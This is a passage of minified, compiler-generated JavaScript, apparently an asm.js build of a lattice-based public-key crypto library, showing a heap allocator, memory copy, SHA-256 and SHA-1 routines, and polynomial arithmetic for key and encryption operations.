                                                                if (C[n + (C[n + 16 >> 2] == (0 | B) ? 16 : 20) >> 2] = g, !g) break I
                                                            }
                                                            if (C[g + 24 >> 2] = n, (I = C[B + 16 >> 2]) && (C[g + 16 >> 2] = I, C[I + 24 >> 2] = g), !(I = C[B + 20 >> 2])) break I;
                                                            C[g + 20 >> 2] = I, C[I + 24 >> 2] = g
                                                        }
                                                    }
                                                    if (!(E >>> 0 <= B >>> 0) && 1 & (g = C[E + 4 >> 2])) {
                                                        I: {
                                                            if (!(2 & g)) {
                                                                if (C[734] == (0 | E)) {
                                                                    if (C[734] = B, A = C[731] + A | 0, C[731] = A, C[B + 4 >> 2] = 1 | A, C[733] != (0 | B)) break A;
                                                                    return C[730] = 0, void(C[733] = 0)
                                                                }
                                                                if (C[733] == (0 | E)) return C[733] = B, A = C[730] + A | 0, C[730] = A, C[B + 4 >> 2] = 1 | A, void(C[A + B >> 2] = A);
                                                                A = (-8 & g) + A | 0;
                                                                g: if (g >>> 0 <= 255) {
                                                                    if (g = g >>> 3 | 0, (0 | (I = C[E + 8 >> 2])) == (0 | (Q = C[E + 12 >> 2]))) {
                                                                        C[728] = C[728] & eA(-2, g);
                                                                        break g
                                                                    }
                                                                    C[I + 12 >> 2] = Q, C[Q + 8 >> 2] = I
                                                                } else {
                                                                    if (n = C[E + 24 >> 2], (0 | E) == (0 | (g = C[E + 12 >> 2])))
                                                                        if ((I = C[(Q = E + 20 | 0) >> 2]) || (I = C[(Q = E + 16 | 0) >> 2])) {
                                                                            for (; i = Q, (I = C[(Q = (g = I) + 20 | 0) >> 2]) || (Q = g + 16 | 0, I = C[g + 16 >> 2]););
                                                                            C[i >> 2] = 0
                                                                        } else g = 0;
                                                                    else I = C[E + 8 >> 2], C[I + 12 >> 2] = g, C[g + 8 >> 2] = I;
                                                                    if (n) {
                                                                        Q = C[E + 28 >> 2];
                                                                        B: {
                                                                            if (C[(I = 3216 + (Q << 2) | 0) >> 2] == (0 | E)) {
                                                                                if (C[I >> 2] = g, g) break B;
                                                                                C[729] = C[729] & eA(-2, Q);
                                                                                break g
                                                                            }
                                                                            if (C[n + (C[n + 16 >> 2] == (0 | E) ? 16 : 20) >> 2] = g, !g) break g
                                                                        }
                                                                        C[g + 24 >> 2] = n, (I = C[E + 16 >> 2]) && (C[g + 16 >> 2] = I, C[I + 24 >> 2] = g), (I = C[E + 20 >> 2]) && (C[g + 20 >> 2] = I, C[I + 24 >> 2] = g)
                                                                    }
                                                                }
                                                                if (C[B + 4 >> 2] = 1 | A, C[A + B >> 2] = A, C[733] != (0 | B)) break I;
                                                                return void(C[730] = A)
                                                            }
                                                            C[E + 4 >> 2] = -2 & g,
                                                            C[B + 4 >> 2] = 1 | A,
                                                            C[A + B >> 2] = A
                                                        }
                                                        if (A >>> 0 <= 255) return g = 2952 + ((A = A >>> 3 | 0) << 3) | 0,
                                                        (I = C[728]) & (A = 1 << A) ? A = C[g + 8 >> 2] : (C[728] = A | I, A = g),
                                                        C[g + 8 >> 2] = B,
                                                        C[A + 12 >> 2] = B,
                                                        C[B + 12 >> 2] = g,
                                                        void(C[B + 8 >> 2] = A);C[B + 16 >> 2] = 0,
                                                        C[B + 20 >> 2] = 0,
                                                        I = 0,
                                                        (Q = A >>> 8 | 0) && (I = 31, A >>> 0 > 16777215 || (I = (g = Q) << (Q = Q + 1048320 >>> 16 & 8), I = 28 + ((I = ((I <<= n = I + 520192 >>> 16 & 4) << (i = I + 245760 >>> 16 & 2) >>> 15 | 0) - (i | Q | n) | 0) << 1 | A >>> I + 21 & 1) | 0)),
                                                        C[(E = B) + 28 >> 2] = I,
                                                        i = 3216 + (I << 2) | 0;I: {
                                                            g: {
                                                                if ((Q = C[729]) & (g = 1 << I)) {
                                                                    for (Q = A << (31 == (0 | I) ? 0 : 25 - (I >>> 1 | 0) | 0), g = C[i >> 2];;) {
                                                                        if (I = g, (-8 & C[g + 4 >> 2]) == (0 | A)) break g;
                                                                        if (g = Q >>> 29 | 0, Q <<= 1, !(g = C[(i = I + (4 & g) | 0) + 16 >> 2])) break
                                                                    }
                                                                    C[i + 16 >> 2] = B, C[B + 24 >> 2] = I
                                                                } else C[729] = g | Q,
                                                                C[i >> 2] = B,
                                                                C[B + 24 >> 2] = i;C[B + 12 >> 2] = B,
                                                                C[B + 8 >> 2] = B;
                                                                break I
                                                            }
                                                            A = C[I + 8 >> 2],
                                                            C[A + 12 >> 2] = B,
                                                            C[I + 8 >> 2] = B,
                                                            C[B + 24 >> 2] = 0,
                                                            C[B + 12 >> 2] = I,
                                                            C[B + 8 >> 2] = A
                                                        }
                                                        if (A = C[736] + -1 | 0, C[736] = A, !A) {
                                                            for (B = 3368; B = (A = C[B >> 2]) + 8 | 0, A;);
                                                            C[736] = -1
                                                        }
                                                    }
                                                }
                                            }
            
                                            function u(A, I, g) {
                                                var B, Q, E = 0,
                                                    r = 0,
                                                    e = 0,
                                                    c = 0,
                                                    t = 0,
                                                    f = 0,
                                                    y = 0,
                                                    s = 0,
                                                    F = 0,
                                                    u = 0,
                                                    k = 0,
                                                    w = 0,
                                                    R = 0,
                                                    H = 0,
                                                    h = 0,
                                                    q = 0;
                                                D = Q = D - 16 | 0;
                                                A: if (B = QA())
                                                    if (W(B, Q + 11 | 0, Q + 14 | 0, Q + 10 | 0, Q + 12 | 0), g && I) {
                                                        if (E = 12292, !(o[1450] < o[Q + 14 >> 1] | o[1451] < o[Q + 12 >> 1]))
                                                            if (DA(o[B + 14 >> 1], Q + 6 | 0, Q + 8 | 0), e = (E = o[Q + 6 >> 1]) + 1 | 0, i[Q + 6 >> 1] = e, r = C[B + 24 >> 2], n[B + 23 | 0] ? (i[Q + 6 >> 1] = E, r = (F = r >>> 16 & 255) + ((f = 255 & r) + (u = r >>> 8 & 255) | 0) | 0, e = E, c = 2) : c = 3, t = o[Q + 8 >> 1], c = d(E = (a(c + E & 65535, t) << 1) + (r << 2) | 0)) {
                                                                c = b(c, E), k = 20;
                                                                I: {
                                                                    g: {
                                                                        B: switch ((w = C[B + 40 >> 2]) + -1 | 0) {
                                                                            case 0:
                                                                                break I;
                                                                            case 1:
                                                                                break g;
                                                                            default:
                                                                                break B
                                                                        }
                                                                        N(c),
                                                                        E = 12299;
                                                                        break A
                                                                    }
                                                                    k = 32,
                                                                    w = 2
                                                                }
                                                                if (y = o[B + 20 >> 1], !((E = O(A, (E = o[B + 16 >> 1]) << 3, q = 65534 & (h = E << 1), c)) || (t = (s = (e = c + (a(t, 65535 & e) << 1) | 0) + (E = t << 1) | 0) + E | 0, E = p(w, k, n[B + 38 | 0], 65535 & h, c, c, o[B + 14 >> 1], n[B + 36 | 0], o[B + 34 >> 1], n[B + 23 | 0], C[B + 24 >> 2] << 1, t)))) {
                                                                    y = y + -1 | 0, E = 0, e = b(e, o[B + 14 >> 1] << 1);
                                                                    I: {
                                                                        if (n[B + 23 | 0])
                                                                            for (R = f + u | 0;;) {
                                                                                if ((0 | E) != (0 | f)) {
                                                                                    i[e + (o[t + (E << 1) >> 1] << 1) >> 1] = 1, E = E + 1 | 0;
                                                                                    continue
                                                                                }
                                                                                for (H = f >>> 0 > (r = f << 1) >>> 0 ? f : r, R <<= 1, E = f;
                                                                                    (0 | E) != (0 | H);) i[e + (o[t + (E << 1) >> 1] << 1) >> 1] = y, E = E + 1 | 0;
                                                                                for (M(e, u, u, t + (r << 1) | 0, o[B + 14 >> 1], o[B + 20 >> 1], c, e), E = 0;;) {
                                                                                    if ((0 | E) != (0 | F)) {
                                                                                        r = e + (o[t + (E + R << 1) >> 1] << 1) | 0, i[r >> 1] = y & o[r >> 1] + 1, E = E + 1 | 0;
                                                                                        continue
                                                                                    }
                                                                                    for (r = F >>> 0 > (E = F << 1) >>> 0 ? F : E, E = F;;) {
                                                                                        if ((0 | E) == (0 | r)) break I;
                                                                                        H = e + (o[t + (E + R << 1) >> 1] << 1) | 0, i[H >> 1] = y & o[H >> 1] + -1, E = E + 1 | 0
                                                                                    }
                                                                                }
                                                                            }
                                                                        for (;
                                                                            (0 | E) != (0 | r);) i[e + (o[t + (E << 1) >> 1] << 1) >> 1] = 1,
                                                                        E = E + 1 | 0;
                                                                        for (E = r >>> 0 > (E = r << 1) >>> 0 ? r : E;;) {
                                                                            if ((0 | E) == (0 | r)) break I;
                                                                            i[e + (o[t + (r << 1) >> 1] << 1) >> 1] = y, r = r + 1 | 0
                                                                        }
                                                                    }
                                                                    for (E = 0; E >>> 0 < o[B + 14 >> 1];) i[(r = e + (E << 1) | 0) >> 1] = y & a(o[r >> 1], 3), E = E + 1 | 0;
                                                                    if (i[e >> 1] = y & o[e >> 1] + 1, G(e, o[B + 14 >> 1], c, s)) {
                                                                        if (!(E = n[B + 23 | 0] ? function(A, I, g, B, Q, E, C, n) {
                                                                                var r, e, c, t = 0,
                                                                                    f = 0,
                                                                                    y = 0,
                                                                                    d = 0;
                                                                                D = r = D - 16 | 0, DA(E, 0, r + 14 | 0), e = C + -1 | 0, c = (E << 1) + n | 0;
                                                                                for (;
                                                                                    (65535 & f) >>> 0 <= 3;) {
                                                                                    for (Y(A, I, g, B, Q, E, C, n, n), t = 0;
                                                                                        (0 | E) != (0 | t);) i[(d = (y = t << 1) + n | 0) >> 1] = 0 - (o[A + y >> 1] + a(o[d >> 1], 3) & e), t = t + 1 | 0;
                                                                                    i[n >> 1] = o[n >> 1] + 2, t = o[r + 14 >> 1], b(c, t - E << 1), Z(A, n, E, C, (t << 1) + n | 0, A), f = f + 1 | 0
                                                                                }
                                                                                return D = r + 16 | 0, 0
                                                                            }(s, f, u, F, t, o[B + 14 >> 1], o[B + 20 >> 1], c) : function(A, I, g, B, Q) {
                                                                                var E, C = 0,
                                                                                    n = 0,
                                                                                    r = 0;
                                                                                D = E = D - 16 | 0, DA(g, 0, E + 14 | 0);
                                                                                for (;
                                                                                    (65535 & n) >>> 0 <= 3;) {
                                                                                    for (Z(I, A, g, B, Q, Q), C = 0;
                                                                                        (0 | g) != (0 | C);) i[(r = (C << 1) + Q | 0) >> 1] = 0 - o[r >> 1], C = C + 1 | 0;
                                                                                    i[Q >> 1] = o[Q >> 1] + 2, Z(A, Q, g, B, (o[E + 14 >> 1] << 1) + Q | 0, A), n = n + 1 | 0
                                                                                }
                                                                                return D = E + 16 | 0, 0
                                                                            }(s, e, o[B + 14 >> 1], o[B + 20 >> 1], c)) && !((E = O(A, o[B + 16 >> 1] << 3, q, c)) || (A = 0, f = k << 3, E = o[B + 28 >> 1], E = p(w, k, ((f + a(n[B + 12 | 0], E << 2 | 2) | 0) - 1 | 0) / (0 | f) & 255, 65535 & h, c, c, o[B + 14 >> 1], n[B + 36 | 0], o[B + 34 >> 1], 0, E << 1 | 1, e)))) {
                                                                            for (M(s, (E = o[B + 28 >> 1]) + 1 & 65535, E, e, o[B + 14 >> 1], o[B + 20 >> 1], c, s); A >>> 0 < o[B + 14 >> 1];) i[(E = (A << 1) + s | 0) >> 1] = y & a(o[E >> 1], 3), A = A + 1 | 0;
                                                                            E = P(B, s, n[Q + 11 | 0], I), i[1450] = o[Q + 14 >> 1], E || (E = m(B, s, t, n[Q + 10 | 0], c, g), i[1451] = o[Q + 12 >> 1])
                                                                        }
                                                                    } else E = 12289
                                                                }
                                                                N(c)
                                                            } else E = 12296
                                                    } else {
                                                        if (I || (i[1450] = o[Q + 14 >> 1]), g) break A;
                                                        i[1451] = o[Q + 12 >> 1]
                                                    }
                                                else E = 12293;
                                                return D = Q + 16 | 0, E
                                            }
            
                                            function k(A, I, g, B, Q, r) {
                                                var e, c = 0,
                                                    t = 0,
                                                    f = 0,
                                                    y = 0,
                                                    s = 0,
                                                    F = 0,
                                                    u = 0,
                                                    k = 0,
                                                    w = 0,
                                                    G = 0,
                                                    R = 0,
                                                    h = 0,
                                                    q = 0,
                                                    U = 0,
                                                    J = 0,
                                                    m = 0,
                                                    X = 0,
                                                    z = 0,
                                                    x = 0;
                                                D = e = D - 16 | 0, C[e + 12 >> 2] = 0, C[e + 8 >> 2] = 0, E[e + 7 | 0] = 0, c = 12290;
                                                A: if (g && (c = 12291, I))
                                                    if (S(1, I, g, e + 7 | 0, 0, e + 12 | 0, e + 8 | 0, 0)) {
                                                        if (c = 12299, I = C[e + 12 >> 2], g = n[I + 22 | 0], !(1 != n[e + 7 | 0] | (g + -9 & 255) >>> 0 > 6))
                                                            if (c = g, g = o[I + 14 >> 1], k = a(c, g) + 7 >>> 3 | 0, r) {
                                                                if (c = 12292, !((65535 & k) >>> 0 > o[1452]) && (c = 12290, Q && (c = 12291, !(o[I + 30 >> 1] < B >>> 0))))
                                                                    if (yA(g, e + 4 | 0, e + 2 | 0), c = C[e + 12 >> 2], y = C[c + 24 >> 2], n[c + 23 | 0] ? (I = o[e + 4 >> 1] + 1 | 0, i[e + 4 >> 1] = I, y = (h = y >>> 16 & 255) + ((q = y >>> 8 & 255) + (U = 255 & y) | 0) | 0) : I = o[e + 4 >> 1], g = o[e + 2 >> 1], f = 65535 & a(g, I), I = d(((t = y << 2) + o[c + 18 >> 1] | 0) + (g + f << 1) | 0)) {
                                                                        w = 20;
                                                                        I: {
                                                                            g: {
                                                                                B: switch ((F = C[c + 40 >> 2]) + -1 | 0) {
                                                                                    case 0:
                                                                                        break I;
                                                                                    case 1:
                                                                                        break g;
                                                                                    default:
                                                                                        break B
                                                                                }
                                                                                N(I),
                                                                                c = 12299;
                                                                                break A
                                                                            }
                                                                            w = 32,
                                                                            F = 2
                                                                        }
                                                                        G = t + (u = (f = I + (f << 1) | 0) + (g << 1) | 0) | 0, m = 2 - B | 0, X = B >>> 8 | 0, z = (J = I + 3 | 0) + B | 0, x = o[c + 20 >> 1] + -1 | 0;
                                                                        I: {
                                                                            for (;;) {
                                                                                if (c = O(A, o[c + 16 >> 1] << 3, o[c + 18 >> 1], G)) break I;
                                                                                if (g = C[e + 12 >> 2], c = n[g + 8 | 0] | n[g + 9 | 0] << 8, E[0 | I] = c, E[I + 1 | 0] = c >>> 8, E[I + 2 | 0] = n[g + 10 | 0], H(J, Q, B), c = H(H(z, G, o[g + 18 >> 1]) + o[g + 18 >> 1] | 0, C[e + 8 >> 2], o[g + 16 >> 1]), c = p(F, w, n[g + 38 | 0], (c + o[g + 16 >> 1] | 0) - I & 65535, I, I, o[g + 14 >> 1], n[g + 36 | 0], o[g + 34 >> 1], n[g + 23 | 0], C[g + 24 >> 2] << 1, u)) break I;
                                                                                if (c = C[e + 12 >> 2], g = n[c + 22 | 0], V(a(g, o[c + 14 >> 1]) + 7 >>> 3 & 65535, C[e + 8 >> 2], g, f), g = C[e + 12 >> 2], c = o[g + 20 >> 1], t = o[g + 14 >> 1], n[g + 23 | 0] ? Y(f, U, q, h, u, t, c, I, f) : M(f, g = 65535 & y, g, u, t, c, I, f), T(o[C[e + 12 >> 2] + 14 >> 1], f, I), c = C[e + 12 >> 2], g = o[c + 14 >> 1], c = L(F, w, n[c + 39 | 0], g + 3 >>> 2 | 0, I, I + g | 0, g, I)) break I;
                                                                                for (g = C[e + 12 >> 2], t = (R = (c = o[g + 14 >> 1]) + I | 0) + c | 0, c = o[g + 18 >> 1], t = (s = H((t - (o[g + 30 >> 1] + (c + n[g + 37 | 0] | 0) | 0) | 0) - 2 | 0, G, c)) + o[g + 18 >> 1] | 0, 2 == n[g + 37 | 0] && (E[0 | t] = X, t = t + 1 | 0), E[0 | t] = B, c = 0, b(H(t + 1 | 0, Q, B) + B | 0, o[g + 30 >> 1] + m | 0), l(s, o[g + 14 >> 1], R), t = C[e + 12 >> 2]; c >>> 0 < (g = o[t + 14 >> 1]) >>> 0;) s = I + c | 0, g = n[c + R | 0] + n[0 | s] | 0, E[0 | s] = (255 & g) >>> 0 > 2 ? g + -3 | 0 : g, c = c + 1 | 0;
                                                                                if (g = K(g, I, o[t + 32 >> 1]), c = C[e + 12 >> 2], g) break
                                                                            }
                                                                            for (g = 0; g >>> 0 < (A = o[c + 14 >> 1]) >>> 0;) {
                                                                                B = 1;
                                                                                g: switch (n[I + g | 0] + -1 | 0) {
                                                                                    case 1:
                                                                                        B = 65535;
                                                                                    case 0:
                                                                                        i[(A = f + (g << 1) | 0) >> 1] = o[A >> 1] + B & x;
                                                                                        break;
                                                                                    default:
                                                                                        break g
                                                                                }
                                                                                g = g + 1 | 0
                                                                            }
                                                                            v(A, f, n[c + 22 | 0], r),
                                                                            i[1452] = k,
                                                                            c = 0
                                                                        }
                                                                        N(I)
                                                                    } else c = 12296
                                                            } else i[1452] = k, c = 0
                                                    } else c = 12294;
                                                return D = e + 16 | 0, c
                                            }
            
                                            function w(A, I, g, B) {
                                                var Q, i = 0,
                                                    o = 0;
                                                D = Q = D - 32 | 0, i = 2563;
                                                A: if (!(r[A >> 2] < I >>> 0 | g >>> 0 > 1024) && (C[A + 4 >> 2] || !(i = x(A)))) {
                                                    for (I = A + 16 | 0; g;) {
                                                        if (i = _(C[A + 12 >> 2])) break A;
                                                        if (i = fA(C[A + 12 >> 2], I, 32)) break A;
                                                        if (i = X(C[A + 12 >> 2], I)) break A;
                                                        g >>> 0 <= 31 ? (H(B, I, g), g = 0) : (i = n[I + 4 | 0] | n[I + 5 | 0] << 8 | n[I + 6 | 0] << 16 | n[I + 7 | 0] << 24, o = n[0 | I] | n[I + 1 | 0] << 8 | n[I + 2 | 0] << 16 | n[I + 3 | 0] << 24, E[0 | B] = o, E[B + 1 | 0] = o >>> 8, E[B + 2 | 0] = o >>> 16, E[B + 3 | 0] = o >>> 24, E[B + 4 | 0] = i, E[B + 5 | 0] = i >>> 8, E[B + 6 | 0] = i >>> 16, E[B + 7 | 0] = i >>> 24, i = n[I + 28 | 0] | n[I + 29 | 0] << 8 | n[I + 30 | 0] << 16 | n[I + 31 | 0] << 24, o = n[I + 24 | 0] | n[I + 25 | 0] << 8 | n[I + 26 | 0] << 16 | n[I + 27 | 0] << 24, E[B + 24 | 0] = o, E[B + 25 | 0] = o >>> 8, E[B + 26 | 0] = o >>> 16, E[B + 27 | 0] = o >>> 24, E[B + 28 | 0] = i, E[B + 29 | 0] = i >>> 8, E[B + 30 | 0] = i >>> 16, E[B + 31 | 0] = i >>> 24, i = n[I + 20 | 0] | n[I + 21 | 0] << 8 | n[I + 22 | 0] << 16 | n[I + 23 | 0] << 24, o = n[I + 16 | 0] | n[I + 17 | 0] << 8 | n[I + 18 | 0] << 16 | n[I + 19 | 0] << 24, E[B + 16 | 0] = o, E[B + 17 | 0] = o >>> 8, E[B + 18 | 0] = o >>> 16, E[B + 19 | 0] = o >>> 24, E[B + 20 | 0] = i, E[B + 21 | 0] = i >>> 8, E[B + 22 | 0] = i >>> 16, E[B + 23 | 0] = i >>> 24, i = n[I + 12 | 0] | n[I + 13 | 0] << 8 | n[I + 14 | 0] << 16 | n[I + 15 | 0] << 24, o = n[I + 8 | 0] | n[I + 9 | 0] << 8 | n[I + 10 | 0] << 16 | n[I + 11 | 0] << 24, E[B + 8 | 0] = o, E[B + 9 | 0] = o >>> 8, E[B + 10 | 0] = o >>> 16, E[B + 11 | 0] = o >>> 24, E[B + 12 | 0] = i, E[B + 13 | 0] = i >>> 8, E[B + 14 | 0] = i >>> 16, E[B + 15 | 0] = i >>> 24, g = g + -32 | 0, B = B + 32 | 0)
                                                    }(i = q(A, Q, 0, 0)) || (C[A + 4 >> 2] = C[A + 4 >> 2] + -1, i = 0)
                                                }
                                                return D = Q + 32 | 0, i
                                            }
            
                                            function G(A, I, g, B) {
                                                var Q = 0,
                                                    C = 0,
                                                    o = 0,
                                                    r = 0,
                                                    a = 0,
                                                    e = 0,
                                                    c = 0,
                                                    t = 0,
                                                    f = 0,
                                                    D = 0,
                                                    y = 0,
                                                    d = 0,
                                                    s = 0,
                                                    F = 0;
                                                A: if (!(!B | !A | !g)) {
                                                    for (f = (c = I + g | 0) + I | 0, E[0 | b(g, I << 1)] = 1;
                                                        (0 | I) != (0 | Q);) a = 1 & i[(Q << 1) + A >> 1], E[Q + f | 0] = a, C = a ? Q : C, Q = Q + 1 | 0, o ^= a;
                                                    I: if (o) {
                                                        E[0 | B] = 1, b(B + 1 | 0, I + -1 | 0), E[I + B | 0] = 1, a = B, A = I;
                                                        g: for (;;) {
                                                            for (Q = 0;;) {
                                                                if ((65535 & C) >>> 0 < (r = 65535 & Q) >>> 0) break I;
                                                                if (n[0 | (o = r + f | 0)]) break;
                                                                Q = Q + 1 | 0
                                                            }
                                                            r ? (U(r + c | 0, c, 1 + (65535 & e) | 0), b(c, r), C = C - Q | 0, d = Q + d | 0, e = Q + e | 0) : o = f, s = e;
                                                            B: {
                                                                if (Q = 65535 & C) {
                                                                    for (r = (t = Q >>> 0 < (65535 & A) >>> 0) ? C : A, e = t ? D : s, F = t ? o : a, f = t ? a : o, a = t ? c : g, Q = 0;
                                                                        (o = 65535 & Q) >>> 0 <= (y = 65535 & r) >>> 0;) E[0 | (y = o + f | 0)] = n[0 | y] ^ n[o + F | 0], Q = Q + 1 | 0;
                                                                    if (Q = r, (0 | y) != (65535 & (C = t ? A : C))) break B;
                                                                    for (;;) {
                                                                        if (!(A = 65535 & Q)) {
                                                                            C = 0;
                                                                            break B
                                                                        }
                                                                        if (n[A + f | 0]) {
                                                                            C = Q;
                                                                            break B
                                                                        }
                                                                        Q = Q + -1 | 0
                                                                    }
                                                                }
                                                                for (A = 0, Q = e = d - ((65535 & d) >>> 0 < I >>> 0 ? 0 : I) & 65535;;) {
                                                                    if (!(Q >>> 0 >= I >>> 0)) {
                                                                        i[(A << 1) + B >> 1] = n[g + Q | 0], A = A + 1 | 0, Q = Q + 1 | 0;
                                                                        continue
                                                                    }
                                                                    for (C = 0, Q = 1;;) {
                                                                        if ((0 | C) == (0 | e)) break A;
                                                                        i[((65535 & A) << 1) + B >> 1] = n[g + C | 0], C = C + 1 | 0, A = A + 1 | 0
                                                                    }
                                                                }
                                                            }
                                                            for (D = t ? s : D, c = t ? g : c, Q = 0;
                                                                (A = 65535 & Q) >>> 0 <= (o = 65535 & e) >>> 0;) E[0 | (g = A + a | 0)] = n[0 | g] ^ n[A + c | 0], Q = Q + 1 | 0;
                                                            if (g = a, a = F, A = r, Q = e, !(o >>> 0 < (65535 & D) >>> 0))
                                                                for (;;) {
                                                                    if (!(r = 65535 & Q)) {
                                                                        D = 0;
                                                                        continue g
                                                                    }
                                                                    if (n[g + r | 0]) {
                                                                        D = Q;
                                                                        continue g
                                                                    }
                                                                    Q = Q + -1 | 0
                                                                }
                                                        }
                                                    } Q = 0
                                                }
                                                return Q
                                            }
            
                                            function R(A, I, g, B, Q) {
                                                var i, o = 0,
                                                    r = 0,
                                                    a = 0;
                                                D = i = D + -64 | 0, o = 1026;
                                                A: if (!(!A | (g ? !I : 0)) && (a = 2 & B, Q || !a)) {
                                                    if (1 & B) B = 0, C[A + 104 >> 2] = 0, C[A + 32 >> 2] = 0, C[A + 36 >> 2] = 0, C[A + 24 >> 2] = 528734635, C[A + 28 >> 2] = 1541459225, C[A + 16 >> 2] = 1359893119, C[A + 20 >> 2] = -1694144372, C[A + 8 >> 2] = 1013904242, C[A + 12 >> 2] = -1521486534, C[A >> 2] = 1779033703, C[A + 4 >> 2] = -1150833019;
                                                    else if (o = 1025, (B = C[A + 104 >> 2]) >>> 0 > 63) break A;
                                                    if (g) {
                                                        if (r = (o = C[A + 32 >> 2]) + (g << 3) | 0, C[A + 32 >> 2] = r, r = (o = (g >>> 29 | 0) + (r >>> 0 < o >>> 0) | 0) + C[A + 36 >> 2] | 0, C[A + 36 >> 2] = r, r >>> 0 < o >>> 0) {
                                                            b(A, 108), b(i, 64), o = 1027;
                                                            break A
                                                        }
                                                        if ((o = 64 - B | 0) >>> 0 > g >>> 0) H(40 + (A + B | 0) | 0, I, g), B = C[A + 104 >> 2] + g | 0;
                                                        else {
                                                            for (g = g - o | 0, B = 40 + (A + B | 0) | 0; o;) E[0 | B] = n[0 | I], o = o + -1 | 0, B = B + 1 | 0, I = I + 1 | 0;
                                                            for (j(i, B = A + 40 | 0, 16), y(i, A), o = g >>> 6 | 0; o;) j(i, I, 16), y(i, A), I = I - -64 | 0, o = o + -1 | 0;
                                                            H(o = B, I, B = 63 & g)
                                                        }
                                                        C[A + 104 >> 2] = B
                                                    }
                                                    if (o = 0, a) {
                                                        E[0 | (I = (g = A + 40 | 0) + B | 0)] = 128, I = I + 1 | 0;
                                                        I: if ((o = 63 - B | 0) >>> 0 <= 7) b(I, o), j(i, g, 16), y(i, A), b(g, 56);
                                                            else
                                                                for (o = 55 - B | 0;;) {
                                                                    if (!o) break I;
                                                                    E[0 | I] = 0, o = o + -1 | 0, I = I + 1 | 0
                                                                }
                                                        j(i, g, 14), C[i + 56 >> 2] = C[A + 36 >> 2], C[i + 60 >> 2] = C[A + 32 >> 2], y(i, A), $(Q, A, 8), o = 0, b(A, 108), b(i, 64)
                                                    }
                                                }
                                                return D = i - -64 | 0, o
                                            }
            
                                            function H(A, I, g) {
                                                var B, Q = 0,
                                                    i = 0;
                                                if (g >>> 0 >= 512) return t(0 | A, 0 | I, 0 | g), A;
                                                B = A + g | 0;
                                                A: if (3 & (A ^ I))
                                                    if (B >>> 0 < 4) g = A;
                                                    else if ((Q = B + -4 | 0) >>> 0 < A >>> 0) g = A;
                                                else
                                                    for (g = A; E[0 | g] = n[0 | I], E[g + 1 | 0] = n[I + 1 | 0], E[g + 2 | 0] = n[I + 2 | 0], E[g + 3 | 0] = n[I + 3 | 0], I = I + 4 | 0, (g = g + 4 | 0) >>> 0 <= Q >>> 0;);
                                                else {
                                                    I: if ((0 | g) < 1) g = A;
                                                        else if (3 & A)
                                                        for (g = A;;) {
                                                            if (E[0 | g] = n[0 | I], I = I + 1 | 0, (g = g + 1 | 0) >>> 0 >= B >>> 0) break I;
                                                            if (!(3 & g)) break
                                                        } else g = A;
                                                    if (!((Q = -4 & B) >>> 0 < 64 || g >>> 0 > (i = Q + -64 | 0) >>> 0))
                                                        for (; C[g >> 2] = C[I >> 2], C[g + 4 >> 2] = C[I + 4 >> 2], C[g + 8 >> 2] = C[I + 8 >> 2], C[g + 12 >> 2] = C[I + 12 >> 2], C[g + 16 >> 2] = C[I + 16 >> 2], C[g + 20 >> 2] = C[I + 20 >> 2], C[g + 24 >> 2] = C[I + 24 >> 2], C[g + 28 >> 2] = C[I + 28 >> 2], C[g + 32 >> 2] = C[I + 32 >> 2], C[g + 36 >> 2] = C[I + 36 >> 2], C[g + 40 >> 2] = C[I + 40 >> 2], C[g + 44 >> 2] = C[I + 44 >> 2], C[g + 48 >> 2] = C[I + 48 >> 2], C[g + 52 >> 2] = C[I + 52 >> 2], C[g + 56 >> 2] = C[I + 56 >> 2], C[g + 60 >> 2] = C[I + 60 >> 2], I = I - -64 | 0, (g = g - -64 | 0) >>> 0 <= i >>> 0;);
                                                    if (g >>> 0 >= Q >>> 0) break A;
                                                    for (; C[g >> 2] = C[I >> 2], I = I + 4 | 0, (g = g + 4 | 0) >>> 0 < Q >>> 0;);
                                                }
                                                if (g >>> 0 < B >>> 0)
                                                    for (; E[0 | g] = n[0 | I], I = I + 1 | 0, (0 | B) != (0 | (g = g + 1 | 0)););
                                                return A
                                            }
            
                                            function h(A, I, g, B, Q) {
                                                var i, o = 0,
                                                    r = 0,
                                                    a = 0;
                                                D = i = D + -64 | 0, o = 1026;
                                                A: if (!(!A | (g ? !I : 0)) && (a = 2 & B, Q || !a)) {
                                                    if (1 & B) B = 0, C[A + 92 >> 2] = 0, C[A + 16 >> 2] = -1009589776, C[A + 20 >> 2] = 0, C[A + 8 >> 2] = -1732584194, C[A + 12 >> 2] = 271733878, C[A >> 2] = 1732584193, C[A + 4 >> 2] = -271733879, C[A + 24 >> 2] = 0;
                                                    else if (o = 1025, (B = C[A + 92 >> 2]) >>> 0 > 63) break A;
                                                    if (g) {
                                                        if (r = (o = C[A + 20 >> 2]) + (g << 3) | 0, C[A + 20 >> 2] = r, r = (o = (g >>> 29 | 0) + (r >>> 0 < o >>> 0) | 0) + C[A + 24 >> 2] | 0, C[A + 24 >> 2] = r, r >>> 0 < o >>> 0) {
                                                            b(A, 96), b(i, 64), o = 1027;
                                                            break A
                                                        }
                                                        if ((o = 64 - B | 0) >>> 0 > g >>> 0) H(28 + (A + B | 0) | 0, I, g), B = C[A + 92 >> 2] + g | 0;
                                                        else {
                                                            for (r = g - o | 0, g = 28 + (A + B | 0) | 0; o;) E[0 | g] = n[0 | I], o = o + -1 | 0, g = g + 1 | 0, I = I + 1 | 0;
                                                            for (j(i, g = A + 28 | 0, 16), s(i, A), o = r >>> 6 | 0; o;) j(i, I, 16), s(i, A), I = I - -64 | 0, o = o + -1 | 0;
                                                            H(g, I, B = 63 & r)
                                                        }
                                                        C[A + 92 >> 2] = B
                                                    }
                                                    if (o = 0, a) {
                                                        E[0 | (I = (g = A + 28 | 0) + B | 0)] = 128, I = I + 1 | 0;
                                                        I: if ((o = 63 - B | 0) >>> 0 <= 7) b(I, o), j(i, g, 16), s(i, A), b(g, 56);
                                                            else
                                                                for (o = 55 - B | 0;;) {
                                                                    if (!o) break I;
                                                                    E[0 | I] = 0, o = o + -1 | 0, I = I + 1 | 0
                                                                }
                                                        j(i, g, 14), C[i + 56 >> 2] = C[A + 24 >> 2], C[i + 60 >> 2] = C[A + 20 >> 2], s(i, A), $(Q, A, 5), o = 0, b(A, 96), b(i, 64)
                                                    }
                                                }
                                                return D = i - -64 | 0, o
                                            }
            
                                            function M(A, I, g, B, Q, E, C, n) {
                                                for (var r = 0, a = 0, e = 0, c = 0, t = 0, f = 0;;) {
                                                    if ((0 | Q) != (0 | r)) {
                                                        i[(r << 1) + C >> 1] = 0, r = r + 1 | 0;
                                                        continue
                                                    }
                                                    c = I + g | 0, f = E + -1 | 0, e = I;
